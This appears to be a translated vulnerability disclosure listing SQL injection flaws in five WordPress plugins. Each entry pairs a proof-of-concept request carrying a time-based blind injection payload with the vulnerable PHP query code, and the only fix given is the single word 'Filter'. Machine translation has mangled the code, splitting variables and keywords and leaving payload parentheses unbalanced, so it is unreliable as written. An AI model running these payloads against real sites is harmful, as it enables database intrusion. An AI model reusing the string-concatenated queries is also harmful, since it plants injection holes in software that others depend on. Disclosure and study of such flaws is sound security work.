Multiple WordPress plug-ins injection vulnerability and repair

1:
OdiHost Newsletter plugin <= 1.0
POC:
Http://www.bkjia.com/wp-content/plugins/odihost-newsletter-plugin/Des/openstat. php? Uid =-1 & id =-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0)

Vulnerability code:
$ Newsletterid = $ _ GET ["id"];
...
$ Wpdb-> query ("update newsletterstat set newsletterstatopened = CONCAT (newsletterstatopened, '". $ subscriberid. ",') where newsletterstatnewsletterid =". $ newsletterid );
2:
Easy Contact Form Lite plugin <= 1.0.7
POC:
Http://www.bkjia.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
Field_num [] =-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0)
Vulnerability code:
Foreach ($ _ POST ['field _ num'] as $ position => $ field_id ){

If ($ field_id> 0 ){
$ Query ="
UPDATE $ settings_table_name
SET position = '". $ position ."'
Where id = $ field_id ";
$ Wpdb-> query ($ query );
}
3:
WP Symposium plugin <= 0.64
POC:
Http://www.bkjia.com/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php? Uid =-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0)
Vulnerability code:
$ Uid = $ _ REQUEST ['uid'];
$ SQL = "SELECT profile_avatar FROM". $ wpdb-> base_prefix. "symposium_usermeta WHERE uid =". $ uid;

4:
Contus hd flv Player plugin <= 1.3
POC:
Http://www.bkjia.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php? Playid =-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0) & listItem [] = 1
Vulnerability code:
$ Pid1 = $ _ GET ['playid'];

Foreach ($ _ GET ['listitem'] as $ position => $ item ):
Mysql_query ("UPDATE $ wpdb-> prefix". "hdflv_med2play SET 'sorder' = $ position WHERE 'Media _ id' = $ item and playlist_id = $ pid1 ");
Endforeach;
5:
File Groups plugin <= 1.1.2
POC:
Http://www.bkjia.com/wp-content/plugins/file-groups/download. php? Fgid =-1 AND 1 = BENCHMARK (5000000, MD5 (CHAR (87,120,109,121 )))
Vulnerability code:
$ Fgid = $ _ GET ['fgid'];
...
$ File_list = $ wpdb-> get_col ("select guid from wp_posts where post_parent = $ fgid ");

Fix: Filter

Fallen leaf blog